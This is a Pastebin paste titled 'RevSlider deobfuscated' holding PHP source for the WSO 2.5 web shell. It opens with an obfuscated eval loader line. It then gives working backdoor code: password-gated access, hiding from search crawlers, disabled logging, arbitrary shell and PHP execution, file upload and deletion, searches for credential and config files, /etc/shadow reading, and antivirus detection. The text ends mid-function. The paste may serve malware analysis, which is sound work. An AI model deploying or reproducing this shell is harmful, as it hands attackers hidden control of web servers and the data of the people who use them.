Antelox

RevSlider deobfuscated

Apr 24th, 2016
143
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 66.33 KB | None | 0 0
  1. // $s98b0504="\x62\141\163\x65\x36\64\137\144\145\143\157\144\x65";$k63004d0="\x67\172\x69\x6e\x66\x6c\x61\164\x65";$n1ed05e8="\x73\x74\x72\137\x72\x6f\x74\61\x33";@eval($k63004d0($s98b0504($n1ed05e8("FliAFl7WmZ9GdPuZm8aVmpcZYv5VX60dlFheYZcClH5XGP3K0SFbIvuXYFxglyZbXFcAgInbODN="))));
  2.  
  3. ?><?php
  4. $auth_pass = "866fd58d77526c1bda8771b5b21d5b11";
  5. $color = "#df5";
  6. $default_action = 'FilesMan';
  7. $default_use_ajax = true;
  8. $default_charset = 'Windows-1251';
  9.  
  10. if (!empty($_SERVER['HTTP_USER_AGENT']))
  11.     {
  12.     $userAgents = array(
  13.         "Google",
  14.         "Slurp",
  15.         "MSNBot",
  16.         "ia_archiver",
  17.         "Yandex",
  18.         "Rambler"
  19.     );
  20.     if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT']))
  21.         {
  22.         header('HTTP/1.0 404 Not Found');
  23.         exit;
  24.         }
  25.     }
  26.  
  27. @ini_set('error_log', NULL);
  28. @ini_set('log_errors', 0);
  29. @ini_set('max_execution_time', 0);
  30. @set_time_limit(0);
  31. @set_magic_quotes_runtime(0);
  32. @define('WSO_VERSION', '2.5');
  33.  
  34. if (get_magic_quotes_gpc())
  35.     {
  36.     function WSOstripslashes($array)
  37.         {
  38.         return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
  39.         }
  40.  
  41.     $_POST = WSOstripslashes($_POST);
  42.     $_COOKIE = WSOstripslashes($_COOKIE);
  43.     }
  44.  
  45. function wsoLogin()
  46.     {
  47.     die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
  48.     }
  49.  
  50. function WSOsetcookie($k, $v)
  51.     {
  52.     $_COOKIE[$k] = $v;
  53.     setcookie($k, $v);
  54.     }
  55.  
  56. if (!empty($auth_pass))
  57.     {
  58.     if (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']) , $auth_pass);
  59.     if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) ]) || ($_COOKIE[md5($_SERVER['HTTP_HOST']) ] != $auth_pass)) wsoLogin();
  60.     }
  61.  
  62. if (strtolower(substr(PHP_OS, 0, 3)) == "win") $os = 'win';
  63.   else $os = 'nix';
  64. $safe_mode = @ini_get('safe_mode');
  65.  
  66. if (!$safe_mode) error_reporting(0);
  67. $disable_functions = @ini_get('disable_functions');
  68. $home_cwd = @getcwd();
  69.  
  70. if (isset($_POST['c'])) @chdir($_POST['c']);
  71. $cwd = @getcwd();
  72.  
  73. if ($os == 'win')
  74.     {
  75.     $home_cwd = str_replace("\\", "/", $home_cwd);
  76.     $cwd = str_replace("\\", "/", $cwd);
  77.     }
  78.  
  79. if ($cwd[strlen($cwd) - 1] != '/') $cwd.= '/';
  80.  
  81. if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
  82.  
  83. if ($os == 'win') $aliases = array(
  84.     "List Directory" => "dir",
  85.     "Find index.php in current dir" => "dir /s /w /b index.php",
  86.     "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  87.     "Show active connections" => "netstat -an",
  88.     "Show running services" => "net start",
  89.     "User accounts" => "net user",
  90.     "Show computers" => "net view",
  91.     "ARP Table" => "arp -a",
  92.     "IP Configuration" => "ipconfig /all"
  93. );
  94.   else $aliases = array(
  95.     "List dir" => "ls -lha",
  96.     "list file attributes on a Linux second extended file system" => "lsattr -va",
  97.     "show opened ports" => "netstat -an | grep -i listen",
  98.     "process status" => "ps aux",
  99.     "Find" => "",
  100.     "find all suid files" => "find / -type f -perm -04000 -ls",
  101.     "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  102.     "find all sgid files" => "find / -type f -perm -02000 -ls",
  103.     "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  104.     "find config.inc.php files" => "find / -type f -name config.inc.php",
  105.     "find config* files" => "find / -type f -name \"config*\"",
  106.     "find config* files in current dir" => "find . -type f -name \"config*\"",
  107.     "find all writable folders and files" => "find / -perm -2 -ls",
  108.     "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  109.     "find all service.pwd files" => "find / -type f -name service.pwd",
  110.     "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  111.     "find all .htpasswd files" => "find / -type f -name .htpasswd",
  112.     "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  113.     "find all .bash_history files" => "find / -type f -name .bash_history",
  114.     "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  115.     "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  116.     "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  117.     "Locate" => "",
  118.     "locate httpd.conf files" => "locate httpd.conf",
  119.     "locate vhosts.conf files" => "locate vhosts.conf",
  120.     "locate proftpd.conf files" => "locate proftpd.conf",
  121.     "locate psybnc.conf files" => "locate psybnc.conf",
  122.     "locate my.conf files" => "locate my.conf",
  123.     "locate admin.php files" => "locate admin.php",
  124.     "locate cfg.php files" => "locate cfg.php",
  125.     "locate conf.php files" => "locate conf.php",
  126.     "locate config.dat files" => "locate config.dat",
  127.     "locate config.php files" => "locate config.php",
  128.     "locate config.inc files" => "locate config.inc",
  129.     "locate config.inc.php" => "locate config.inc.php",
  130.     "locate config.default.php files" => "locate config.default.php",
  131.     "locate config* files " => "locate config",
  132.     "locate .conf files" => "locate '.conf'",
  133.     "locate .pwd files" => "locate '.pwd'",
  134.     "locate .sql files" => "locate '.sql'",
  135.     "locate .htpasswd files" => "locate '.htpasswd'",
  136.     "locate .bash_history files" => "locate '.bash_history'",
  137.     "locate .mysql_history files" => "locate '.mysql_history'",
  138.     "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  139.     "locate backup files" => "locate backup",
  140.     "locate dump files" => "locate dump",
  141.     "locate priv files" => "locate priv"
  142. );
  143.  
  144. function wsoHeader()
  145.     {
  146.     if (empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset'];
  147.     global $color;
  148.     echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title>
  149. <style>
  150. body{background-color:#444;color:#e1e1e1;}
  151. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
  152. table.info{ color:#fff;background-color:#222; }
  153. span,h1,a{ color: $color !important; }
  154. span{ font-weight: bolder; }
  155. h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  156. div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  157. a{ text-decoration:none; }
  158. a:hover{ text-decoration:underline; }
  159. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  160. .bigarea{ width:100%;height:300px; }
  161. input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
  162. form{ margin:0px; }
  163. #toolsTbl{ text-align:center; }
  164. .toolsInp{ width: 300px }
  165. .main th{text-align:left;background-color:#5e5e5e;}
  166. .main tr:hover{background-color:#5e5e5e}
  167. .l1{background-color:#444}
  168. .l2{background-color:#333}
  169. pre{font-family:Courier,Monospace;}
  170. </style>
  171. <script>
  172.    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  173.    var a_ = '" . htmlspecialchars(@$_POST['a']) . "'
  174.    var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';
  175.    var p1_ = '" . ((strpos(@$_POST['p1'], "\n") !== false) ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';
  176.    var p2_ = '" . ((strpos(@$_POST['p2'], "\n") !== false) ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';
  177.    var p3_ = '" . ((strpos(@$_POST['p3'], "\n") !== false) ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';
  178.    var d = document;
  179. "#@%+=FEFGT6R3987EFDF86347GR=+%@#"function set(a,c,p1,p2,p3,charset) {
  180.         if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  181.         if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  182.         if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  183.         if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  184.         if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  185.         if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  186.     }
  187.     function g(a,c,p1,p2,p3,charset) {
  188.         set(a,c,p1,p2,p3,charset);
  189.         d.mf.submit();
  190.     }
  191.     function a(a,c,p1,p2,p3,charset) {
  192.         set(a,c,p1,p2,p3,charset);
  193.         var params = 'ajax=true';
  194.         for(i=0;i<d.mf.elements.length;i++)
  195.             params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
  196.         sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
  197.     }
  198.     function sr(url, params) {
  199.         if (window.XMLHttpRequest)
  200.             req = new XMLHttpRequest();
  201.           else if (window.ActiveXObject)
  202.             req = new ActiveXObject('Microsoft.XMLHTTP');
  203.         if (req) {
  204.             req.onreadystatechange = processReqChange;
  205.             req.open('POST', url, true);
  206.             req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  207.             req.send(params);
  208.         }
  209.     }
  210.     function processReqChange() {
  211.         if( (req.readyState == 4) )
  212.             if(req.status == 200) {
  213.                 var reg = new RegExp("(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  214. "#@%+=FEFGT6R3987EFDF86347GR=+%@#"          var arr=reg.exec(req.responseText);
  215.                 eval(arr[2].substr(0, arr[1]));
  216.             } else alert('Request error!');
  217.     }
  218. </script>
  219. <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
  220. <form method=post name=mf style='display:none;'>
  221. <input type=hidden name=a>
  222. <input type=hidden name=c>
  223. <input type=hidden name=p1>
  224. <input type=hidden name=p2>
  225. <input type=hidden name=p3>
  226. <input type=hidden name=charset>
  227. </form>";
  228.     $freeSpace = @diskfreespace($GLOBALS['cwd']);
  229.     $totalSpace = @disk_total_space($GLOBALS['cwd']);
  230.     $totalSpace = $totalSpace ? $totalSpace : 1;
  231.     $release = @php_uname('r');
  232.     $kernel = @php_uname('s');
  233.     $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
  234.     if (strpos('Linux', $kernel) !== false) $explink.= urlencode('Linux Kernel ' . substr($release, 0, 6));
  235.       else $explink.= urlencode($kernel . ' ' . substr($release, 0, 3));
  236.     if (!function_exists('posix_getegid'))
  237.         {
  238.         $user = @get_current_user();
  239.         $uid = @getmyuid();
  240.         $gid = @getmygid();
  241.         $group = "?";
  242.         }
  243.       else
  244.         {
  245.         $uid = @posix_getpwuid(posix_geteuid());
  246.         $gid = @posix_getgrgid(posix_getegid());
  247.         $user = $uid['name'];
  248.         $uid = $uid['uid'];
  249.         $group = $gid['name'];
  250.         $gid = $gid['gid'];
  251.         }
  252.  
  253.     $cwd_links = '';
  254.     $path = explode("/", $GLOBALS['cwd']);
  255.     $n = count($path);
  256.     for ($i = 0; $i < $n - 1; $i++)
  257.         {
  258.         $cwd_links.= "<a href='#' onclick='g(\"FilesMan\",\"";
  259.         for ($j = 0; $j <= $i; $j++) $cwd_links.= $path[$j] . '/';
  260.         $cwd_links.= "\")'>" . $path[$i] . "/</a>";
  261.         }
  262.  
  263.     $charsets = array(
  264.         'UTF-8',
  265.         'Windows-1251',
  266.         'KOI8-R',
  267.         'KOI8-U',
  268.         'cp866'
  269.     );
  270.     $opt_charsets = '';
  271.     foreach($charsets as $item) $opt_charsets.= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
  272.     $m = array(
  273.         'Sec. Info' => 'SecInfo',
  274.         'Files' => 'FilesMan',
  275.         'Console' => 'Console',
  276.         'Sql' => 'Sql',
  277.         'Php' => 'Php',
  278.         'String tools' => 'StringTools',
  279.         'Bruteforce' => 'Bruteforce',
  280.         'Network' => 'Network'
  281.     );
  282.     if (!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout';
  283.     $m['Self remove'] = 'SelfRemove';
  284.     $menu = '';
  285.     foreach($m as $k => $v) $menu.= '<th width="' . (int)(100 / count($m)) . '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
  286.     $drives = "";
  287.     if ($GLOBALS['os'] == 'win')
  288.         {
  289.         foreach(range('c', 'z') as $drive)
  290.         if (is_dir($drive . ':\\')) $drives.= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
  291.         }
  292.  
  293.     echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br />User:<br />Php:<br />Hdd:<br />Cwd:' . ($GLOBALS['os'] == 'win' ? '<br />Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname() , 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br />' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br />' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=green><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br />' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' (' . (int)($freeSpace / $totalSpace * 100) . '%)<br />' . $cwd_links . ' ' . wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br />' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br /><span>Server IP:</span><br />' . @$_SERVER["SERVER_ADDR"] . '<br /><span>Client IP:</span><br />' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
  294.     }
  295.  
  296. function wsoFooter()
  297.     {
  298.     $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
  299.     echo "
  300. </div>
  301. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
  302.     <tr>
  303.         <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br /><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='>>'></form></td>
  304.         <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br /><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  305.     </tr><tr>
  306.         <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br /><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
  307.         <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br /><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  308.     </tr><tr>
  309.         <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br /><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
  310.         <td><form method='post' ENCTYPE='multipart/form-data'>
  311.         <input type=hidden name=a value='FilesMAn'>
  312.         <input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>
  313.         <input type=hidden name=p1 value='uploadFile'>
  314.         <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
  315.         <span>Upload file:</span>$is_writable<br /><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
  316.     </tr></table></div></body></html>";
  317.     }
  318.  
  319. if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false))
  320.     {
  321.     function posix_getpwuid($p)
  322.         {
  323.         return false;
  324.         }
  325.     }
  326.  
  327. if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false))
  328.     {
  329.     function posix_getgrgid($p)
  330.         {
  331.         return false;
  332.         }
  333.     }
  334.  
  335. function wsoEx($in)
  336.     {
  337.     $out = '';
  338.     if (function_exists('exec'))
  339.         {
  340.         @exec($in, $out);
  341.         $out = @join("\n", $out);
  342.         }
  343.     elseif (function_exists('passthru'))
  344.         {
  345.         ob_start();
  346.         @passthru($in);
  347.         $out = ob_get_clean();
  348.         }
  349.     elseif (function_exists('system'))
  350.         {
  351.         ob_start();
  352.         @system($in);
  353.         $out = ob_get_clean();
  354.         }
  355.     elseif (function_exists('shell_exec'))
  356.         {
  357.         $out = shell_exec($in);
  358.         }
  359.     elseif (is_resource($f = @popen($in, "r")))
  360.         {
  361.         $out = "";
  362.         while (!@feof($f)) $out.= fread($f, 1024);
  363.         pclose($f);
  364.         }
  365.  
  366.     return $out;
  367.     }
  368.  
  369. function wsoViewSize($s)
  370.     {
  371.     if (is_int($s)) $s = sprintf("%u", $s);
  372.     if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824) . ' GB';
  373.     elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) . ' MB';
  374.     elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) . ' KB';
  375.       else return $s . ' B';
  376.     }
  377.  
  378. function wsoPerms($p)
  379.     {
  380.     if (($p & 0xC000) == 0xC000) $i = 's';
  381.     elseif (($p & 0xA000) == 0xA000) $i = 'l';
  382.     elseif (($p & 0x8000) == 0x8000) $i = '-';
  383.     elseif (($p & 0x6000) == 0x6000) $i = 'b';
  384.     elseif (($p & 0x4000) == 0x4000) $i = 'd';
  385.     elseif (($p & 0x2000) == 0x2000) $i = 'c';
  386.     elseif (($p & 0x1000) == 0x1000) $i = 'p';
  387.       else $i = 'u';
  388.     $i.= (($p & 0x0100) ? 'r' : '-');
  389.     $i.= (($p & 0x0080) ? 'w' : '-');
  390.     $i.= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
  391.     $i.= (($p & 0x0020) ? 'r' : '-');
  392.     $i.= (($p & 0x0010) ? 'w' : '-');
  393.     $i.= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
  394.     $i.= (($p & 0x0004) ? 'r' : '-');
  395.     $i.= (($p & 0x0002) ? 'w' : '-');
  396.     $i.= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
  397.     return $i;
  398.     }
  399.  
  400. function wsoPermsColor($f)
  401.     {
  402.     if (!@is_readable($f)) return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
  403.     elseif (!@is_writable($f)) return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
  404.       else return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
  405.     }
  406.  
  407. function wsoScandir($dir)
  408.     {
  409.     if (function_exists("scandir"))
  410.         {
  411.         return scandir($dir);
  412.         }
  413.       else
  414.         {
  415.         $dh = opendir($dir);
  416.         while (false !== ($filename = readdir($dh))) $files[] = $filename;
  417.         return $files;
  418.         }
  419.     }
  420.  
  421. function wsoWhich($p)
  422.     {
  423.     $path = wsoEx('which ' . $p);
  424.     if (!empty($path)) return $path;
  425.     return false;
  426.     }
  427.  
  428. function actionSecInfo()
  429.     {
  430.     wsoHeader();
  431.     echo '<h1>Server security information</h1><div class=content>';
  432.     function wsoSecParam($n, $v)
  433.         {
  434.         $v = trim($v);
  435.         if ($v)
  436.             {
  437.             echo '<span>' . $n . ': </span>';
  438.             if (strpos($v, "\n") === false) echo $v . '<br />';
  439.               else echo '<pre class=ml1>' . $v . '</pre>';
  440.             }
  441.         }
  442.  
  443.     wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  444.     if (function_exists('apache_get_modules')) wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
  445.     wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
  446.     wsoSecParam('Open base dir', @ini_get('open_basedir'));
  447.     wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  448.     wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  449.     wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
  450.     $temp = array();
  451.     if (function_exists('mysql_get_client_info')) $temp[] = "MySql (" . mysql_get_client_info() . ")";
  452.     if (function_exists('mssql_connect')) $temp[] = "MSSQL";
  453.     if (function_exists('pg_connect')) $temp[] = "PostgreSQL";
  454.     if (function_exists('oci_connect')) $temp[] = "Oracle";
  455.     wsoSecParam('Supported databases', implode(', ', $temp));
  456.     echo '<br />';
  457.     if ($GLOBALS['os'] == 'nix')
  458.         {
  459.         wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
  460.         wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
  461.         wsoSecParam('OS version', @file_get_contents('/proc/version'));
  462.         wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  463.         if (!$GLOBALS['safe_mode'])
  464.             {
  465.             $userful = array(
  466.                 'gcc',
  467.                 'lcc',
  468.                 'cc',
  469.                 'ld',
  470.                 'make',
  471.                 'php',
  472.                 'perl',
  473.                 'python',
  474.                 'ruby',
  475.                 'tar',
  476.                 'gzip',
  477.                 'bzip',
  478.                 'bzip2',
  479.                 'nc',
  480.                 'locate',
  481.                 'suidperl'
  482.             );
  483.             $danger = array(
  484.                 'kav',
  485.                 'nod32',
  486.                 'bdcored',
  487.                 'uvscan',
  488.                 'sav',
  489.                 'drwebd',
  490.                 'clamd',
  491.                 'rkhunter',
  492.                 'chkrootkit',
  493.                 'iptables',
  494.                 'ipfw',
  495.                 'tripwire',
  496.                 'shieldcc',
  497.                 'portsentry',
  498.                 'snort',
  499.                 'ossec',
  500.                 'lidsadm',
  501.                 'tcplodg',
  502.                 'sxid',
  503.                 'logcheck',
  504.                 'logwatch',
  505.                 'sysmask',
  506.                 'zmbscap',
  507.                 'sawmill',
  508.                 'wormscan',
  509.                 'ninja'
  510.             );
  511.             $downloaders = array(
  512.                 'wget',
  513.                 'fetch',
  514.                 'lynx',
  515.                 'links',
  516.                 'curl',
  517.                 'get',
  518.                 'lwp-mirror'
  519.             );
  520.             echo '<br />';
  521.             $temp = array();
  522.             foreach($userful as $item)
  523.             if (wsoWhich($item)) $temp[] = $item;
  524.             wsoSecParam('Userful', implode(', ', $temp));
  525.             $temp = array();
  526.             foreach($danger as $item)
  527.             if (wsoWhich($item)) $temp[] = $item;
  528.             wsoSecParam('Danger', implode(', ', $temp));
  529.             $temp = array();
  530.             foreach($downloaders as $item)
  531.             if (wsoWhich($item)) $temp[] = $item;
  532.             wsoSecParam('Downloaders', implode(', ', $temp));
  533.             echo '<br/>';
  534.             wsoSecParam('HDD space', wsoEx('df -h'));
  535.             wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
  536.             echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
  537.             if (isset($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3']))
  538.                 {
  539.                 $temp = "";
  540.                 for (; $_POST['p2'] <= $_POST['p3']; $_POST['p2']++)
  541.                     {
  542.                     $uid = @posix_getpwuid($_POST['p2']);
  543.                     if ($uid) $temp.= join(':', $uid) . "\n";
  544.                     }
  545.  
  546.                 echo '<br/>';
  547.                 wsoSecParam('Users', $temp);
  548.                 }
  549.             }
  550.         }
  551.       else
  552.         {
  553.         wsoSecParam('OS Version', wsoEx('ver'));
  554.         wsoSecParam('Account Settings', wsoEx('net accounts'));
  555.         wsoSecParam('User Accounts', wsoEx('net user'));
  556.         }
  557.  
  558.     echo '</div>';
  559.     wsoFooter();
  560.     }
  561.  
  562. function actionPhp()
  563.     {
  564.     if (isset($_POST['ajax']))
  565.         {
  566.         WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
  567.         ob_start();
  568.         eval($_POST['p1']);
  569.         $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()) , "\n\r\t\\'\0") . "';\n";
  570.         echo strlen($temp) , "\n", $temp;
  571.         exit;
  572.         }
  573.  
  574.     if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
  575.     wsoHeader();
  576.     if (isset($_POST['p2']) && ($_POST['p2'] == 'info'))
  577.         {
  578.         echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
  579.         ob_start();
  580.         phpinfo();
  581.         $tmp = ob_get_clean();
  582.         $tmp = preg_replace(array(
  583.             '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
  584.             '!td, th {(.*)}!msiU',
  585.             '!<img[^>]+>!msiU',
  586.         ) , array(
  587.             '',
  588.             '.e, .v, .h, .h th {$1}',
  589.             ''
  590.         ) , $tmp);
  591.         echo str_replace('<h1', '<h2', $tmp) . '</div><br />';
  592.         }
  593.  
  594.     echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
  595.     echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
  596.     if (!empty($_POST['p1']))
  597.         {
  598.         ob_start();
  599.         eval($_POST['p1']);
  600.         echo htmlspecialchars(ob_get_clean());
  601.         }
  602.  
  603.     echo '</pre></div>';
  604.     wsoFooter();
  605.     }
  606.  
  607. function actionFilesMan()
  608.     {
  609.     if (!empty($_COOKIE['f'])) $_COOKIE['f'] = @unserialize($_COOKIE['f']);
  610.     if (!empty($_POST['p1']))
  611.         {
  612.         switch ($_POST['p1'])
  613.             {
  614.         case 'uploadFile':
  615.             if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload file!";
  616.             break;
  617.  
  618.         case 'mkdir':
  619.             if (!@mkdir($_POST['p2'])) echo "Can't create new dir";
  620.             break;
  621.  
  622.         case 'delete':
  623.             function deleteDir($path)
  624.                 {
  625.                 $path = (substr($path, -1) == '/') ? $path : $path . '/';
  626.                 $dh = opendir($path);
  627.                 while (($item = readdir($dh)) !== false)
  628.                     {
  629.                     $item = $path . $item;
  630.                     if ((basename($item) == "..") || (basename($item) == ".")) continue;
  631.                     $type = filetype($item);
  632.                     if ($type == "dir") deleteDir($item);
  633.                       else @unlink($item);
  634.                     }
  635.  
  636.                 closedir($dh);
  637.                 @rmdir($path);
  638.                 }
  639.  
  640.             if (is_array(@$_POST['f']))
  641.             foreach($_POST['f'] as $f)
  642.                 {
  643.                 if ($f == '..') continue;
  644.                 $f = urldecode($f);
  645.                 if (is_dir($f)) deleteDir($f);
  646.                   else @unlink($f);
  647.                 }
  648.  
  649.             break;
  650.  
  651.         case 'paste':
  652.             if ($_COOKIE['act'] == 'copy')
  653.                 {
  654.                 function copy_paste($c, $s, $d)
  655.                     {
  656.                     if (is_dir($c . $s))
  657.                         {
  658.                         mkdir($d . $s);
  659.                         $h = @opendir($c . $s);
  660.                         while (($f = @readdir($h)) !== false)
  661.                         if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
  662.                         }
  663.                     elseif (is_file($c . $s)) @copy($c . $s, $d . $s);
  664.                     }
  665.  
  666.                 foreach($_COOKIE['f'] as $f) copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
  667.                 }
  668.             elseif ($_COOKIE['act'] == 'move')
  669.                 {
  670.                 function move_paste($c, $s, $d)
  671.                     {
  672.                     if (is_dir($c . $s))
  673.                         {
  674.                         mkdir($d . $s);
  675.                         $h = @opendir($c . $s);
  676.                         while (($f = @readdir($h)) !== false)
